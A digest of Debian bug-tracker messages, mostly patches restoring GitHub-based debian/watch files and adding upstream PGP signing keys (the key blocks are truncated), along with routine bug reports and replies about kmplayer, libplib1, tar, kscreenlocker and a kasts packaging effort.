Source: xrdp Severity: normal Tags: patch Dear Maintainer, I attach a patch that restores the ability to search for upstream versions using github API in d/watch and additionally check the pgp signature on the upstream tarball. This patch obsoletes #1036056 diff --git a/debian/upstream/signing-key.asc b/debian/upstream/signing-key.asc new file mode 100644 index ..2de5bbe9 --- /dev/null +++ b/debian/upstream/signing-key.asc @@ -0,0 +1,281 @@ +-BEGIN PGP PUBLIC KEY BLOCK- + +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
Bug#1043487: xorgxrdp: check pgp signature on upstream package
Source: xorgxrdp Severity: normal Tags: patch Dear Maintainer, I attach a patch that restores the ability to search for upstream versions using github API in d/watch and additionally check the pgp signature on the upstream tarball. This patch obsoletes #1036057 diff --git a/debian/upstream/signing-key.asc b/debian/upstream/signing-key.asc new file mode 100644 index 000..2de5bbe --- /dev/null +++ b/debian/upstream/signing-key.asc @@ -0,0 +1,281 @@ +-BEGIN PGP PUBLIC KEY BLOCK- + +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
Bug#1043486: udftools: current d/watch no longer works
Source: udftools Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ pgpsigurlmangle=s/$/.asc/" \ https://api.github.com/repos/pali/@PACKAGE@/releases \ https://github.com/pali/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1043485: shim: current d/watch no longer works
Source: shim Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ repack,\ compression=xz,\ filenamemangle=s/.+\/v?(\d\S*)\.tar\.gz/shim-$1\.tar\.gz/" \ https://api.github.com/repos/rhboot/@PACKAGE@/releases \ https://github.com/rhboot/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1043484: libplib1: sound library only supports OSS
Package: libplib1 Version: 1.8.5-14+b1 Severity: normal X-Debbugs-Cc: okgomdjgbm...@gmail.com Dear Maintainer, Debian is maintaining this right? Upsteam seams dead. I recently compiled tuxkart (uses libplib), not supertuxkart, tuxkart. It is the ancestor of supertuxkart. I was amazed to find out that it actually worked O_O (2006) . The only problem, is that it compiled with OSS support. And it's a version that is not compatible with the simple OSS emulations that just load a library, but require full OSS emulation with a fake /dev/dsp. Trying to emulate that is especially inefficient and buggy. the problem is in the SL library inside libplib. It would require to be updated with pulseaudio. Asuming this is not a wontfix.
Bug#1043483: rofi: current d/watch no longer works
Source: rofi Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ uversionmangle=s/-?(alpha|beta|rc)/~$1/i;tr/A-Z/a-z/;s/\D$/$&1/" \ https://api.github.com/repos/davatorium/@PACKAGE@/releases \ https://github.com/davatorium/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1035772: kmplayer: FTBFS: Could NOT find KF5 (missing: DocTools)
Uploading another NMU. debdiff is attached.diff -Nru kmplayer-0.12.0b+de96d9e/debian/changelog kmplayer-0.12.0b+de96d9e/debian/changelog --- kmplayer-0.12.0b+de96d9e/debian/changelog 2023-08-11 19:36:49.0 +0200 +++ kmplayer-0.12.0b+de96d9e/debian/changelog 2023-08-11 23:13:32.0 +0200 @@ -1,13 +1,20 @@ +kmplayer (1:0.12.0b+de96d9e-0.2) unstable; urgency=medium + + * Non-maintainer upload. + * Add Build-Depends: libkf5doctools-dev. (Closes: #1035772) + + -- Bastian Germann Fri, 11 Aug 2023 21:13:32 + + kmplayer (1:0.12.0b+de96d9e-0.1) unstable; urgency=medium * Non-maintainer upload. - * Import current git version. (Closes: #1035772) + * Import current git version. [ Simon McVittie ] * Don't build knpplayer. (Closes: #967558, #999459, #997118) * Depend on default-dbus-session-bus | dbus-session-bus (Closes: #836103) - -- Bastian Germann Fri, 11 Aug 2023 17:36:49 + + -- Bastian Germann Fri, 11 Aug 2023 17:36:49 + kmplayer (1:0.12.0b-3) unstable; urgency=medium diff -Nru kmplayer-0.12.0b+de96d9e/debian/control kmplayer-0.12.0b+de96d9e/debian/control --- kmplayer-0.12.0b+de96d9e/debian/control 2023-08-11 19:36:49.0 +0200 +++ kmplayer-0.12.0b+de96d9e/debian/control 2023-08-11 23:13:32.0 +0200 @@ -11,6 +11,7 @@ libphonon4qt5-dev, libkf5config-dev, libkf5coreaddons-dev, + libkf5doctools-dev, libkf5i18n-dev, kinit-dev, libkf5kio-dev,
Bug#1043482: paperkey: current d/watch no longer works
Source: paperkey Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts=searchmode=plain,\ pgpsigurlmangle=s/$/.sig/ \ https://api.github.com/repos/dmshaw/@PACKAGE@/releases \ https://github.com/dmshaw/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@-([\d.]+)@ARCHIVE_EXT@
Bug#1040310: pam: debian/watch broken by GitHub change
Followup-For: Bug #1040310 Dear Maintainer, here is a tested d/watch: version=4 opts=searchmode=plain \ https://api.github.com/repos/linux-pam/linux-pam/releases \ https://github.com/linux-pam/linux-pam/releases/download/v?[\d.]+/Linux-PAM-([\d.]+)@ARCHIVE_EXT@
Bug#894892: libkscreenlocker5: The file "/usr/lib/x86_64-linux-gnu/libexec/kcheckpass" is NOT existent in the stable package.
Hi Hans, On Fri, 11 Aug 2023 23:35:23 +0200 "Hans-J. Ullrich" wrote: [...] > I discovered, that in the bookworm repo in the package > libscreenlocker5, the mentioned file "kcheckpass" is not existent. Thus > the above workaround does not work. > > I also tried to manually copy the file from bullseye with no success > and suppose, kcheckpass from bullseye is incompatible with bookworm. > Please repack the lib with the missing file. The "kcheckpass"-binary was removed from kscreenlocker over a year ago, because it was obsolete. Hence, distributions cannot ship the binary as it is not built anymore. If you cannot unlock your screen, a simple "It doesn't work" is unfortunately not sufficient to debug it. The first thing you can do is to create a new user on your system and try to unlock the screen with that user. That will tell you whether something is wrong with the system or just with your default user. -- Med vänliga hälsningar Patrick Franz
Bug#1007698: ITP: kasts -- kasts is a podcast client for desktop and mobile
I started again to work on this, on the latest version of kasts Il giorno sab 22 lug 2023 alle ore 14:17 Salvo Tomaselli ha scritto: > > Hello, > > I was planning to do it in the summer, but my hard drive is broken, > I'm waiting for lenovo to do something about it. > > Il giorno sab 1 lug 2023 alle ore 15:57 Marco Mattiolo > ha scritto: > > > > Hi Tzafrir, > > > > no news on my side for the packaging. There's an ITP bug submitted by > > Salvo, I will leave that answer to him. > > > > Thank you for the MR on 23.04.2! > > > > My 2 cents on the icons issue: I faced the same when installing kasts in a > > non-Plasma environment (Phosh on pmOS), I solved it by installing Breeze > > icon theme and then creating a custom launcher. > > > > cp /usr/share/applications/org.kde.kasts.desktop > > ~/.local/share/applications/ > > > > Then, modify the 'Exec' line in the launcher with the following: > > > > Exec=env QT_STYLE_OVERRIDE=Breeze kasts > > > > I'm recalling that by memory because I've re-flashed the phone in the > > meanwhile, you could be required to tweak something. My source was [1] btw. > > > > Kind regards > > > > Marco > > > > [1] > > https://wiki.archlinux.org/title/Uniform_look_for_Qt_and_GTK_applications > > > > > > Il 28/06/23 23:16, Tzafrir Cohen ha scritto: > > > > Any news? > > > > I tried this package again. I updated the packaging for upstream 23.04.2 > > (See a simple MR[1]). Right now it runs, but there are missing > > images on buttons, both on my desktop (sway) and on my mobian phone > > (where the flatpak runs OK). > > > > CMake also notes that the optional VNC playback backend is missing. How > > important is this? > > > > On my phone I had to install the following two packages (that I > > guessed from error messages) > > > > qml-module-org-kde-kirigami-addons-labs-components > > qml-module-qt-labs-qmlmodels > > > > And still I get the following output in my terminal: > > Database version 6 > > kf.kirigami: Failed to find a Kirigami platform plugin > > qrc:/main.qml:416:5: QML ErrorListOverlay: Binding loop detected for > > property "implicitHeight" > > qrc:/main.qml:416:5: QML ErrorListOverlay: Binding loop detected for > > property "implicitHeight" > > qrc:/DesktopPlayerControls.qml:406:5: QML Dialog: Binding loop detected for > > property "implicitHeight" > > qrc:/DesktopPlayerControls.qml:406:5: QML Dialog: Binding loop detected for > > property "implicitHeight" > > file:///usr/lib/aarch64-linux-gnu/qt5/qml/org/kde/kirigami.2/ScrollablePage.qml:200:9: > > QML MouseArea: Binding loop detected for property "width" > > file:///usr/lib/aarch64-linux-gnu/qt5/qml/org/kde/kirigami.2/ContextDrawer.qml:132:9: > > QML ListView: Binding loop detected for property "topMargin" > > file:///usr/lib/aarch64-linux-gnu/qt5/qml/org/kde/kirigami.2/ContextDrawer.qml:132:9: > > QML ListView: Binding loop detected for property "topMargin" > > > > > > [1] https://salsa.debian.org/ltworf-guest/kasts/-/merge_requests/2 > > > > > -- > Salvo Tomaselli > > "Io non mi sento obbligato a credere che lo stesso Dio che ci ha dotato di > senso, ragione ed intelletto intendesse che noi ne facessimo a meno." > -- Galileo Galilei > > http://ltworf.github.io/ltworf/ -- Salvo Tomaselli "Io non mi sento obbligato a credere che lo stesso Dio che ci ha dotato di senso, ragione ed intelletto intendesse che noi ne facessimo a meno." -- Galileo Galilei http://ltworf.github.io/ltworf/
Bug#1043481: lsof: current d/watch no longer works
Package: lsof Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ dversionmangle=auto,\ repacksuffix=+dfsg,\ uversionmangle=s/.linux//" \ https://api.github.com/repos/lsof-org/@PACKAGE@/releases \ https://github.com/lsof-org/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1043480: tar bug - unreadable part of files are shrank by "x" bytes while ddrescue can save more bytes than tar shrank
Package: tar Version: 1.34 unreadable part of files are shrank by "x" bytes while ddrescue can save more bytes than tar shrank routine. So my idea is to run ddrescue in these cases in order to rescue more bytes from the file. Also, tar when finished says "finished with errors" without reporting that errors where "shranking". Neither prints the filepaths/files that were shrank by x bytes. I think this is an important bug cause it can result defunct useless files. My system is linux with debian bookworm 12.
Bug#1043479: libeatmydata: current d/watch no longer works
Source: libeatmydata Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ dversionmangle=auto,\ pgpmode=auto" \ https://api.github.com/repos/stewartsmith/@PACKAGE@/releases \ https://github.com/stewartsmith/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1004844: games-finest: Consider adding endless-sky
Looks like #944757 is resolved now! Hopefully once the new versions gets into testing, this is unblocked.
Bug#1043478: irssi: current d/watch no longer works
Source: irssi Severity: normal Tags: patch Dear Maintainer, here is a d/watch file to restore searching for upstream versions: version=4 opts="searchmode=plain,\ uversionmangle=s/-(rc|beta)/~$1/,\ pgpsigurlmangle=s/$/.asc/" \ https://api.github.com/repos/@PACKAGE@/@PACKAGE@/releases \ https://github.com/@PACKAGE@/@PACKAGE@/releases/download/v?[\d.]+/@PACKAGE@@ANY_VERSION@@ARCHIVE_EXT@
Bug#1040960: gcc-sh-elf fix is on the way
Control: owner -1 John Scott Control: tags -1 pending I made a boo boo. An explanation and fix will be ready shortly signature.asc Description: This is a digitally signed message part
Bug#894892: libkscreenlocker5: The file "/usr/lib/x86_64-linux-gnu/libexec/kcheckpass" is NOT existent in the stable package.
Package: libkscreenlocker5 Followup-For: Bug #894892 Dear Maintainer, I discovered, that in the bookworm repo in the package libscreenlocker5, the mentioned file "kcheckpass" is not existent. Thus the above workaround does not work. I also tried to manually copy the file from bullseye with no success and suppose, kcheckpass from bullseye is incompatible with bookworm. Please repack the lib with the missing file. Thank you very much. Best regards Hans -- System Information: Debian Release: 12.1 APT prefers stable-security APT policy: (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 6.1.0-11-amd64 (SMP w/8 CPU threads; PREEMPT) Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages libkscreenlocker5 depends on: ii kio5.103.0-1 ii kpackagetool5 5.103.0-1 ii libc6 2.36-9+deb12u1 ii libkf5configcore5 5.103.0-2 ii libkf5configgui5 5.103.0-2 ii libkf5configqml5 5.103.0-2 ii libkf5coreaddons5 5.103.0-1 ii libkf5crash5 5.103.0-1 ii libkf5declarative5 5.103.0-1 ii libkf5globalaccel-bin 5.103.0-1 ii libkf5globalaccel5 5.103.0-1 ii libkf5i18n55.103.0-1 ii libkf5idletime55.103.0-2 ii libkf5kiocore5 5.103.0-1 ii libkf5notifications5 5.103.0-1 ii libkf5package5 5.103.0-1 ii libkf5quickaddons5 5.103.0-1 ii libkf5screendpms8 4:5.27.5-2 ii libkf5waylandclient5 4:5.103.0-1 ii libkf5windowsystem55.103.0-1 ii libkf5xmlgui5 5.103.0-1 ii 